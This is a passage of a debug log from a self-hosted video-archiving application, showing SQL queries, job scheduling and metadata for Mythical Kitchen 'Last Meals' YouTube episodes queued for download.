https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ilona Maher Eats Her Last Meal", "https://www.youtube.com/watch?v=P62Tjxn9NLg", "P62Tjxn9NLg", 3318, false, "/downloads/Last Meals/2025-12-02 Ilona Maher Eats Her Last Meal/Ilona Maher Eats Her Last Meal [P62Tjxn9NLg].mp4", false, 1, ~U[2025-12-02 11:00:53Z]] 20:46:55.002 [debug] QUERY OK source="sources" db=0.2ms idle=40.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:55.003 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:55.004 [debug] QUERY OK source="media_items" db=0.3ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 20:46:55.004 [info] Kicking off download for media item #5 (P62Tjxn9NLg) 20:46:55.006 [debug] QUERY OK source="tasks" db=0.0ms idle=3.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [8, 5, ~U[2026-03-28 00:46:55Z], ~U[2026-03-28 00:46:55Z]] 20:46:55.006 [debug] Current batch of media processed. Will check again in 1000ms 20:46:56.006 [debug] Current batch of media processed. Will check again in 1000ms 20:46:57.007 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Meghan Trainor's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Meghan's Last Meal\n0:28 \"Are You Spy Kids?\"\n1:15 Wanting To Be Timeless\n3:08 1st Course\n5:02 The Problem With Parties\n6:05 Poop Shame\n8:37 Music As Self-Therapy\n9:55 Meghan's Fear Of Death\n13:48 2nd Course\n16:47 Marrying A Serial Killer\n18:53 Parenting & Mom Guilt\n22:08 3rd Course\n23:42 Learning She Was Pregnant While Performing\n29:14 Explaining A Tour Bus To A 3-Year Old\n31:23 4th Course\n32:42 What Josh Thinks Happens When We Die\n33:50 Edibles & Death Anxiety\n35:00 Meghan Wants To See (& Be) A Ghost\n36:14 Fear & Love\n37:45 Lightning Round\n40:18 Meghan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2478, "filename" => "/downloads/Last Meals/2024-06-06 Meghan Trainor Eats Her Last Meal/Meghan Trainor Eats Her Last Meal [ho4OgD1tPZY].mp4", "id" => "ho4OgD1tPZY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ho4OgD1tPZY", "playlist_index" => 6, "timestamp" => 1717668042, "title" => "Meghan Trainor Eats Her Last Meal", "upload_date" => "20240606"} 20:46:57.008 [debug] QUERY OK source="sources" db=0.4ms idle=950.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:46:57.009 [debug] QUERY OK source="sources" db=0.3ms idle=951.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:57.010 [debug] QUERY OK source="media_items" db=0.2ms idle=952.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-06 10:00:42Z], 1] 20:46:57.013 [debug] QUERY OK source="media_items" db=2.4ms idle=953.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Meghan Trainor's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Meghan's Last Meal\n0:28 \"Are You Spy Kids?\"\n1:15 Wanting To Be Timeless\n3:08 1st Course\n5:02 The Problem With Parties\n6:05 Poop Shame\n8:37 Music As Self-Therapy\n9:55 Meghan's Fear Of Death\n13:48 2nd Course\n16:47 Marrying A Serial Killer\n18:53 Parenting & Mom Guilt\n22:08 3rd Course\n23:42 Learning She Was Pregnant While Performing\n29:14 Explaining A Tour Bus To A 3-Year Old\n31:23 4th Course\n32:42 What Josh Thinks Happens When We Die\n33:50 Edibles & Death Anxiety\n35:00 Meghan Wants To See (& Be) A Ghost\n36:14 Fear & Love\n37:45 Lightning Round\n40:18 Meghan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Meghan Trainor Eats Her Last Meal", "9aa5e622-f220-4d5f-8da7-ab0c1fc05c10", "https://www.youtube.com/watch?v=ho4OgD1tPZY", false, "ho4OgD1tPZY", 2478, false, 6, "/downloads/Last Meals/2024-06-06 Meghan Trainor Eats Her Last Meal/Meghan Trainor Eats Her Last Meal [ho4OgD1tPZY].mp4", false, false, 1, [], 0, ~U[2024-06-06 10:00:42Z], ~U[2026-03-28 00:46:57Z], ~U[2026-03-28 00:46:57Z], "Today, Josh is cooking Meghan Trainor's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Meghan's Last Meal\n0:28 \"Are You Spy Kids?\"\n1:15 Wanting To Be Timeless\n3:08 1st Course\n5:02 The Problem With Parties\n6:05 Poop Shame\n8:37 Music As Self-Therapy\n9:55 Meghan's Fear Of Death\n13:48 2nd Course\n16:47 Marrying A Serial Killer\n18:53 Parenting & Mom Guilt\n22:08 3rd Course\n23:42 Learning She Was Pregnant While Performing\n29:14 Explaining A Tour Bus To A 3-Year Old\n31:23 4th Course\n32:42 What Josh Thinks Happens When We Die\n33:50 Edibles & Death Anxiety\n35:00 Meghan Wants To See (& Be) A Ghost\n36:14 Fear & Love\n37:45 Lightning Round\n40:18 Meghan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Meghan Trainor Eats Her Last Meal", "https://www.youtube.com/watch?v=ho4OgD1tPZY", "ho4OgD1tPZY", 2478, false, "/downloads/Last Meals/2024-06-06 Meghan Trainor Eats Her Last Meal/Meghan Trainor Eats Her Last Meal [ho4OgD1tPZY].mp4", false, 1, ~U[2024-06-06 10:00:42Z]] 20:46:57.014 [debug] QUERY OK source="sources" db=0.3ms idle=49.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:57.015 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:57.016 [debug] QUERY OK source="media_items" db=0.4ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 20:46:57.016 [info] Kicking off download for media item #6 (ho4OgD1tPZY) 20:46:57.017 [debug] QUERY OK source="tasks" db=0.0ms idle=3.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [9, 6, ~U[2026-03-28 00:46:57Z], ~U[2026-03-28 00:46:57Z]] 20:46:57.017 [debug] Current batch of media processed. Will check again in 1000ms 20:46:58.018 [debug] Current batch of media processed. Will check again in 1000ms 20:46:58.567 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:59.019 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Josh Peck's last meal. Last Meals Ep.5\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1585, "filename" => "/downloads/Last Meals/2022-08-02 Josh Peck Eats His Last Meal/Josh Peck Eats His Last Meal [ztSj01t05ZE].mp4", "id" => "ztSj01t05ZE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ztSj01t05ZE", "playlist_index" => 7, "timestamp" => 1659434429, "title" => "Josh Peck Eats His Last Meal", "upload_date" => "20220802"} 20:46:59.019 [debug] QUERY OK source="sources" db=0.0ms idle=962.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:46:59.020 [debug] QUERY OK source="sources" db=0.0ms idle=962.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:59.020 [debug] QUERY OK source="media_items" db=0.0ms idle=962.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-02 10:00:29Z], 1] 20:46:59.021 [debug] QUERY OK source="media_items" db=0.6ms idle=452.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Josh Peck's last meal. Last Meals Ep.5\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Josh Peck Eats His Last Meal", "7412080c-946d-4231-b7dc-133aaae289fb", "https://www.youtube.com/watch?v=ztSj01t05ZE", false, "ztSj01t05ZE", 1585, false, 7, "/downloads/Last Meals/2022-08-02 Josh Peck Eats His Last Meal/Josh Peck Eats His Last Meal [ztSj01t05ZE].mp4", false, false, 1, [], 0, ~U[2022-08-02 10:00:29Z], ~U[2026-03-28 00:46:59Z], ~U[2026-03-28 00:46:59Z], "Today, Josh is cooking Josh Peck's last meal. Last Meals Ep.5\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best 